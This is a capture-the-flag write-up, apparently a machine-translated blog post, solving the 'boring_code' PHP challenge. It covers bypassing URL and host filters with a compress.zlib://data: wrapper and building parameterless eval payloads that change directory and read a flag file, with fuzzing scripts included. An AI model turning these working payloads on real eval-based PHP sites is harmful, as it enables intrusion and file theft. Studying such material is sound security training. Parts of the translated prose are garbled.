Byte CTF boring_code(fuzz,无参数RCE)

0x01 posted Code

<?php
function is_valid_url($url) {
 if (filter_var($url, FILTER_VALIDATE_URL)) {
  if (preg_match('/data:\/\//i', $url)) {
   return false;
  }
  return true;
 }
 return false;
}

if (isset($_POST['url'])) {
 $url = $_POST['url'];
 if (is_valid_url($url)) {
  $r = parse_url($url);
  print_r($r);
  if (preg_match('/baidu\.com$/', $r['host'])) {
   echo "pass preg_match";
   $code = file_get_contents($url);
   print_r($code);
// 下面这个正则约束了只能是phpinfo();这样的形式
// 所以基本来说 php://input 是不行了
   if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
    if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
     echo 'bye~';
    } else {
     eval($code);
    }
   }
  } else {
   echo "error: host not allowed";
  }
 } else {
  echo "error: invalid url";
 }
} else {
 highlight_file(__FILE__);
}

0x02 topic analysis

First we have to post a url, and the host is the end of baidu.com

Workaround:

  • Krypton gold, buy a domain name
  • Baidu 302 Jump
    https://www.4xseo.com/marketing/1280/#title-0
  • Use Baidu search to jump, but to Baidu included the job of your web site
  • Use Baidu network disk Jump
  • compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
On how to bypass filter_var and parse_url

Reference Gangster article
link

How to bypass filter_varand parse_url, in file_get_contentsthe case, may be data://the pseudo protocol to bypass, for this form data://text/plain;base64,xxxxx, parse_urlwill be textused as host, and not sensitive to the MIME PHP, so to data://baidu.com/plain;base64,xxxxxbe able to bypass, and file_get_contentscan be read directly into the xxxxcontent . Since the topic has banned begin with the data, so we can usecompress.zlib
Here Insert Picture Description

0x03 no parameters RCE

preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
This is the only limiting parameter a(b())in the form of letters while comprising only
preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)
limits the number of functions, for example, getallheaders(),session_id()like

First of all what I first under the fuzz, look at those functions can be
<?
var_dump(gettype(get_defined_functions()));
var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) { 
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_|-/i', get_defined_functions()[internal][$i])) {
        $i_need_func[$j]=get_defined_functions()[internal][$i];
        $j++;
    }
}
print_r($i_need_func);
Because the function innermost layer must not contain parameters, so we can lower fuzz, to see which functions can be used
<?php
#var_dump(gettype(get_defined_functions()));
#var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_/i', get_defined_functions()[internal][$i])) {
        $i_need_func[$j]=get_defined_functions()[internal][$i];
        $j++;
    }
}
try {
    for ($i=0; $i < count($i_need_func); $i++) {
    if($i_need_func[$i]=="mhash")
    	continue;
        if(!is_null($i_need_func[$i]())){
            echo $i_need_func[$i];
            var_dump($i_need_func[$i]());
        }
    }
} catch (\Throwable $th) {
}
  • localeconv()It returns an array, and the first to.
  • phpversion()Returns the version number is a number, we can use mathematical functions constitute 46

As the title suggests that flagthe parent directory, so we need to think of ways to change the current path, so we also need to construct ..to jump to the parent directory, beginning here also cards for a long time, but then suddenly thought ls -aafter the system is not on the self with two points, this is not a characteristic of the system Well, so there follows paylaod
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
this script can use mathematical functions + phpversion()return46

<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){

if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";	

}}}}}}}}
?>

Here Insert Picture Description
A set of functions can be easily obtained 46

Although we have been able to jump catalog, but how can we continue to list the files parent directory it?

Function chdir()returns a Boolean value true || false, so what I continue fuzzto see those functions pass boolwhat is returned when the value yes. As long as the above code change it on the line, I will not repeat them here

  • localtime(time(ture)) Returns an array, one of the first second, we only need to wait for 46 seconds per minute transmits a request to obtain 46
  • hebrevc(crypt(ture))Returns a string, there is a chance for the first string.
  • uniqid(true)Also returns a string and is fixed, we can ord()take the first code string ascll and configured the same way using the mathematical function 46
  • crypt(serialize(array()))Using a crypt returns the encrypted string, encrypted string end has a chance to occur.

payload

  • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
  • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
  • readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
  • if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

0x04 otherwise summary

As the title of the filter et, _so we can not use a lot of functions, but some ideas well worth learning, here wandering chiefs posted the article
link

  • Usegetenv() + array_rand() + array_flip
  • Usegetallheaders()
  • Usesession_id + session_start() + hex2bin + bin2hex
  • Useget_defined_vars()
  • Usedirname() + chdir()
Published 47 original articles · won praise 2 · Views 3134

Guess you like

Origin blog.csdn.net/a3320315/article/details/102989485